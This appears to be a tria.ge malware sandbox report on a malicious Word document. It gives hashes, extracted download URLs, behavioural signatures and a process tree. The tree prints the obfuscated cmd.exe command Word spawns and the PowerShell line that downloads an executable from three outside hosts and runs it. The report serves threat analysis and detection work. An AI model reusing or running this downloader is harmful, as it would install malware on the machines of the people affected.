Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
101b7f039e2b...67.exe
windows7-x64
101b7f039e2b...67.exe
windows10-2004-x64
101bc393e569...5e.exe
windows7-x64
101bc393e569...5e.exe
windows10-2004-x64
101d25e50b1c...af.exe
windows7-x64
101d25e50b1c...af.exe
windows10-2004-x64
101d9b74bfd7...93.exe
windows7-x64
101d9b74bfd7...93.exe
windows10-2004-x64
101e62a268e2...29.exe
windows7-x64
101e62a268e2...29.exe
windows10-2004-x64
101ed6220c49...b1.exe
windows7-x64
101ed6220c49...b1.exe
windows10-2004-x64
101ee2d1e645...0a.exe
windows7-x64
101ee2d1e645...0a.exe
windows10-2004-x64
101f7f6ca2d7...0a.exe
windows7-x64
101f7f6ca2d7...0a.exe
windows10-2004-x64
101f9c6d71f4...5a.exe
windows7-x64
101f9c6d71f4...5a.exe
windows10-2004-x64
1020573eab37...45.exe
windows7-x64
1020573eab37...45.exe
windows10-2004-x64
1020d1c11837...7d.exe
windows7-x64
1020d1c11837...7d.exe
windows10-2004-x64
1020e0fb805b...2e.exe
windows7-x64
1020e0fb805b...2e.exe
windows10-2004-x64
102122f46b77...53.exe
windows7-x64
102122f46b77...53.exe
windows10-2004-x64
1021550d2e10...4f.exe
windows7-x64
1021550d2e10...4f.exe
windows10-2004-x64
10235041460f...03.exe
windows7-x64
1235041460f...03.exe
windows10-2004-x64
102356c0cbe0...de.doc
windows7-x64
102356c0cbe0...de.doc
windows10-2004-x64
10Analysis
-
max time kernel
119s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
24/07/2023, 06:32
Static task
static1
Behavioral task
behavioral1
Sample
1b7f039e2beb71993aa281ed8137e45b1b9708531b54e3b46d347baa3cc6fc67.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
1b7f039e2beb71993aa281ed8137e45b1b9708531b54e3b46d347baa3cc6fc67.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral3
Sample
1bc393e569289b6d134bec11c9898225745d2348a8a297bf5fcb3c73a64c385e.exe
Resource
win7-20230712-en
Behavioral task
behavioral4
Sample
1bc393e569289b6d134bec11c9898225745d2348a8a297bf5fcb3c73a64c385e.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral5
Sample
1d25e50b1c8cefb11b2ecc991be88c017d2cea828110f855e031da595684ceaf.exe
Resource
win7-20230712-en
Behavioral task
behavioral6
Sample
1d25e50b1c8cefb11b2ecc991be88c017d2cea828110f855e031da595684ceaf.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral7
Sample
1d9b74bfd7d922cfd20bc8197eb35c39ac6d4ed60b918b83133feb4ea7973c93.exe
Resource
win7-20230712-en
Behavioral task
behavioral8
Sample
1d9b74bfd7d922cfd20bc8197eb35c39ac6d4ed60b918b83133feb4ea7973c93.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral9
Sample
1e62a268e2511720e6cbf0f77780e3147ca2d060d75118d5e0984e3059593829.exe
Resource
win7-20230712-en
Behavioral task
behavioral10
Sample
1e62a268e2511720e6cbf0f77780e3147ca2d060d75118d5e0984e3059593829.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral11
Sample
1ed6220c4999b159446756990086fc270642dcba035ed1ea45126e3dd081c0b1.exe
Resource
win7-20230712-en
Behavioral task
behavioral12
Sample
1ed6220c4999b159446756990086fc270642dcba035ed1ea45126e3dd081c0b1.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral13
Sample
1ee2d1e645387a169bdc6a904e47b6a2546e4d34546733b4aedb7bb22371f90a.exe
Resource
win7-20230712-en
Behavioral task
behavioral14
Sample
1ee2d1e645387a169bdc6a904e47b6a2546e4d34546733b4aedb7bb22371f90a.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral15
Sample
1f7f6ca2d7c0431e07e974158a6e23129fdc19994f687be71daa68aa82b4510a.exe
Resource
win7-20230712-en
Behavioral task
behavioral16
Sample
1f7f6ca2d7c0431e07e974158a6e23129fdc19994f687be71daa68aa82b4510a.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral17
Sample
1f9c6d71f4eba009486692e8734d2ed0ac586ad0310811c8e938985bc0385e5a.exe
Resource
win7-20230712-en
Behavioral task
behavioral18
Sample
1f9c6d71f4eba009486692e8734d2ed0ac586ad0310811c8e938985bc0385e5a.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral19
Sample
20573eab37017ad0c5ad37228fdcc5e6f5c64dddbb275f50ee4dcc8dc3d43145.exe
Resource
win7-20230712-en
Behavioral task
behavioral20
Sample
20573eab37017ad0c5ad37228fdcc5e6f5c64dddbb275f50ee4dcc8dc3d43145.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral21
Sample
20d1c1183762918f8077963504cb6971ff65352a34197d534a4d40fe68e0c97d.exe
Resource
win7-20230712-en
Behavioral task
behavioral22
Sample
20d1c1183762918f8077963504cb6971ff65352a34197d534a4d40fe68e0c97d.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral23
Sample
20e0fb805bd4501e8361c68b8a2ab67fced87ebfd25c9012e42d38aa83a4bd2e.exe
Resource
win7-20230712-en
Behavioral task
behavioral24
Sample
20e0fb805bd4501e8361c68b8a2ab67fced87ebfd25c9012e42d38aa83a4bd2e.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral25
Sample
2122f46b7744ea7cabea57095f4cdcbcdcf176232cfae669e7119c5bd607bf53.exe
Resource
win7-20230712-en
Behavioral task
behavioral26
Sample
2122f46b7744ea7cabea57095f4cdcbcdcf176232cfae669e7119c5bd607bf53.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral27
Sample
21550d2e10232016be388e50579cb7767f0e6c3e2283bab6b4e552077eee834f.exe
Resource
win7-20230712-en
Behavioral task
behavioral28
Sample
21550d2e10232016be388e50579cb7767f0e6c3e2283bab6b4e552077eee834f.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral29
Sample
235041460fe585e7438589fc41e393df65545cb735907908eaaa4103d1564f03.exe
Resource
win7-20230712-en
Behavioral task
behavioral30
Sample
235041460fe585e7438589fc41e393df65545cb735907908eaaa4103d1564f03.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral31
Sample
2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc
Resource
win7-20230712-en
Behavioral task
behavioral32
Sample
2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc
Resource
win10v2004-20230703-en
General
-
Target
2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc
-
Size
181KB
-
MD5
5f894602e88263e34dcdbb2eb2da3078
-
SHA1
c4b7c33fd3ff360cee29eaa67705dc79e4a24fdb
-
SHA256
2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade
-
SHA512
7c5c71e599c360e43e134e0a0982bf36a1c1503956b4b72654bac8777d5cfb2417602db88fe225ef53f4b674ac22d187c951cd3519cbd628527c8880ea63cff1
-
SSDEEP
1536:fe/zONq+YIv920aPPg8cmg8/TtMO80mlop3KGyIs+aiyLZMcj0TCYkd3gPdz1TW2:WoVBaPPg87gi8Bo7OwTkxmz1Cz/ptM
Malware Config
Extracted
https://conferencesdiary.com/wp-content/uploads/templates/qjwwq.png
https://www.cornink.com/wp-content/templates/dzsttm.png
https://otcpress.aliencyb.org/wp-content/ttt/yhoskmc.png
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1524 2428 Cmd.exe 43 -
Blocklisted process makes network request 2 IoCs
flow pid Process 49 3272 powershell.exe 50 3272 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
pid Process 1524 Cmd.exe 4136 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2428 WINWORD.EXE 2428 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3272 powershell.exe 3272 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3272 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2428 WINWORD.EXE 2428 WINWORD.EXE 2428 WINWORD.EXE 2428 WINWORD.EXE 2428 WINWORD.EXE 2428 WINWORD.EXE 2428 WINWORD.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2428 wrote to memory of 1524 2428 WINWORD.EXE 92 PID 2428 wrote to memory of 1524 2428 WINWORD.EXE 92 PID 1524 wrote to memory of 4136 1524 Cmd.exe 94 PID 1524 wrote to memory of 4136 1524 Cmd.exe 94 PID 4136 wrote to memory of 3272 4136 cmd.exe 95 PID 4136 wrote to memory of 3272 4136 cmd.exe 95
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\SYSTEM32\Cmd.exeCmd VpwTzjhzWiEHlb nAWrqowVktzVzcirvOizczlm ZDAjcrBXXsVSp & %co^m^S^p^E^c% /c %lOcaLaPPdATa:~ -3, -2%^M%pRogRaMDatA:~-4, +1%, , /^V^:oN ^ , /^r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^xsr^WeR^fcRWonAr^vFPsp-T^Gtb^Lr^ala^y^V^tMdSg^B;3^j^)^cPi^I^rRkKs^ b$IN^ x^b,qth^TvNw8H^4e^$^e^X^(d^H^e^k^Al7D^i9cFLAd^24aN9owClA^cnRJw3Ho0^O^D^F^5.j^7^Dj^kV^a^xjp^L$oX{Rg^y^j^Fr^v^ItOC{gn^)^gnBG^sqSdCvt$^vO^ ^Yn32iYK^ ^v^6h LN^4^BH^Ty$^Y1^(d^bh^T^tch^V^aax^ex^b^rx^9oS^ ^fh^1^;^F^l'wj^eoG^xbZeLn.l^u'^C8^+y^Eiv6XU^vEv9^$X^J^+r^T^'^9s\e^F^'7Q+wd^p^IAm^ vep^ktq^Y:^aF^vN^TnOMe2n$kN=W^Vi27^R^ z^s^5^p$bh;Nc'^f^x^6^e^L9C^F6o9^'T^r^ ji^=6m 4ri^tI^X^kJ^E^KX$XG^;N^M^)Sr'DJ^@7^O'^ph^(6lt9^e^i32^l^d3^pF^8^S^F^4^.^E^f^'V^B^g2^ n^qB^p^75^.^MUc^w7^maGk^9LsxMoRN^h^moy1^g/Z^2t^u^4t^c^7^tj8^/Fe^t^4pn^E^Ie^ C^t^8Dn9qo1NcL^ ^-f^vp6^GwH^r^/QEg9Tr^3no9^5.^W^Vb1kyz^BcS^7nSfe^c9i^7^6^l4^y^a^t^j.t^isDKsR4eY3^r5^Vp^Z^5cd9t^5 ^oo^6/^DB/s^G^:^u^ls^U^3pZ^0tlNt9ahL1^@^Gkgi7ne0p^M^V.R^C^m^v^W^tZ^ot^Z4sbhz4Pd^oT/^Rks^0 en^1^t^0g^awd^ldW^pR^tm^e2eJ^T^t8^0/wP^tIRn^D^jeU^H^t^GIn^CFoZm^cnS-^yMp uw9^g^/^i^k^mk9oi^7^cLY.hXk^O3n^MZilQnn^v^r8Boysc^Yu.35^w^Z^0wS^Fw8l/Ae/3B:d^ss9^f^p0ht^C3tlChwk@DO^g8rnPmpod.a^p^qd^C^wdpw^ZSj6Hq6i/^WI^s^Urer^st^s^vam^vl^2Lpk^8mn^V^e^wLt^al/5Ms^F^S^d^woat^K^oV ^lH^CpPI^u^6x/fht^SAn^Qt^e^bZ^t^E8ni4^oQOcE^f-uR^pN^Fw7r^/6^i^ms^Po^2^vc^Kb.gNypb^r^PwaL^z^i^l^Gd^Zzs2aeML^cOYn^7^J^e^CqrUi^eXEf^P^ZncwoWCcj^C/4s^/^R9^:^q^fs^o1p^Mrtoat8Q^hFy^'Rl=Y^DB^ugq^RF^Cr^o$xn;pL^tl7nz^ce^M^Gi^jp^l^ ^qC^i^2b^7^Ve^v WQ^e.Ku^tODe^XgNVe e^qt^jSc0Xe2X^j^mObHyo^Wy-0lw^T^ReMAnbg^=^u^oD^e^3V^07^jwt$e^J^ 3^wl7alfGe^QehMj^sr^drP^IeEXwB^0o^l^yp)& , , , fO^R , ,, /^L, , %^9 , , , ^IN, , , (117^2, ,,-^3 ,^+2^ ,^ ^ ^, ) , , ^DO ,,( ,, , (,s^e^t ^aHx=!^aHx!!j^y:~%^9, 1!) , , , )&, , iF , ,%^9 , , ,, ,E^qU ,, ,^2 , , , ( , ( , (^cA^LL ,,%^aHx:~ ^+^5% ) ,) , , , ) "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\system32\cmd.execMD , , /V:oN , /r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^xsr^WeR^fcRWonAr^vFPsp-T^Gtb^Lr^ala^y^V^tMdSg^B;3^j^)^cPi^I^rRkKs^ b$IN^ x^b,qth^TvNw8H^4e^$^e^X^(d^H^e^k^Al7D^i9cFLAd^24aN9owClA^cnRJw3Ho0^O^D^F^5.j^7^Dj^kV^a^xjp^L$oX{Rg^y^j^Fr^v^ItOC{gn^)^gnBG^sqSdCvt$^vO^ ^Yn32iYK^ ^v^6h LN^4^BH^Ty$^Y1^(d^bh^T^tch^V^aax^ex^b^rx^9oS^ ^fh^1^;^F^l'wj^eoG^xbZeLn.l^u'^C8^+y^Eiv6XU^vEv9^$X^J^+r^T^'^9s\e^F^'7Q+wd^p^IAm^ vep^ktq^Y:^aF^vN^TnOMe2n$kN=W^Vi27^R^ z^s^5^p$bh;Nc'^f^x^6^e^L9C^F6o9^'T^r^ ji^=6m 4ri^tI^X^kJ^E^KX$XG^;N^M^)Sr'DJ^@7^O'^ph^(6lt9^e^i32^l^d3^pF^8^S^F^4^.^E^f^'V^B^g2^ n^qB^p^75^.^MUc^w7^maGk^9LsxMoRN^h^moy1^g/Z^2t^u^4t^c^7^tj8^/Fe^t^4pn^E^Ie^ C^t^8Dn9qo1NcL^ ^-f^vp6^GwH^r^/QEg9Tr^3no9^5.^W^Vb1kyz^BcS^7nSfe^c9i^7^6^l4^y^a^t^j.t^isDKsR4eY3^r5^Vp^Z^5cd9t^5 ^oo^6/^DB/s^G^:^u^ls^U^3pZ^0tlNt9ahL1^@^Gkgi7ne0p^M^V.R^C^m^v^W^tZ^ot^Z4sbhz4Pd^oT/^Rks^0 en^1^t^0g^awd^ldW^pR^tm^e2eJ^T^t8^0/wP^tIRn^D^jeU^H^t^GIn^CFoZm^cnS-^yMp uw9^g^/^i^k^mk9oi^7^cLY.hXk^O3n^MZilQnn^v^r8Boysc^Yu.35^w^Z^0wS^Fw8l/Ae/3B:d^ss9^f^p0ht^C3tlChwk@DO^g8rnPmpod.a^p^qd^C^wdpw^ZSj6Hq6i/^WI^s^Urer^st^s^vam^vl^2Lpk^8mn^V^e^wLt^al/5Ms^F^S^d^woat^K^oV ^lH^CpPI^u^6x/fht^SAn^Qt^e^bZ^t^E8ni4^oQOcE^f-uR^pN^Fw7r^/6^i^ms^Po^2^vc^Kb.gNypb^r^PwaL^z^i^l^Gd^Zzs2aeML^cOYn^7^J^e^CqrUi^eXEf^P^ZncwoWCcj^C/4s^/^R9^:^q^fs^o1p^Mrtoat8Q^hFy^'Rl=Y^DB^ugq^RF^Cr^o$xn;pL^tl7nz^ce^M^Gi^jp^l^ ^qC^i^2b^7^Ve^v WQ^e.Ku^tODe^XgNVe e^qt^jSc0Xe2X^j^mObHyo^Wy-0lw^T^ReMAnbg^=^u^oD^e^3V^07^jwt$e^J^ 3^wl7alfGe^QehMj^sr^drP^IeEXwB^0o^l^yp)& , , , fO^R , ,, /^L, , %^9 , , , ^IN, , , (117^2, ,,-^3 ,^+2^ ,^ ^ ^, ) , , ^DO ,,( ,, , (,s^e^t ^aHx=!^aHx!!j^y:~%^9, 1!) , , , )&, , iF , ,%^9 , , ,, ,E^qU ,, ,^2 , , , ( , ( , (^cA^LL ,,%^aHx:~ ^+^5% ) ,) , , , ) "3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $jVD=new-object Net.WebClient;$CqB='https://conferencesdiary.com/wp-content/uploads/templates/qjwwq.png@https://www.cornink.com/wp-content/templates/dzsttm.png@https://otcpress.aliencyb.org/wp-content/ttt/yhoskmc.png'.Split('@');$EXi = '696';$sRi=$env:temp+'\'+$EXi+'.exe';foreach($HNh in $CqB){try{$jVD.DownloadFile($HNh, $sRi);Start-Process $sRi;break;}catch{}}4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3272
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82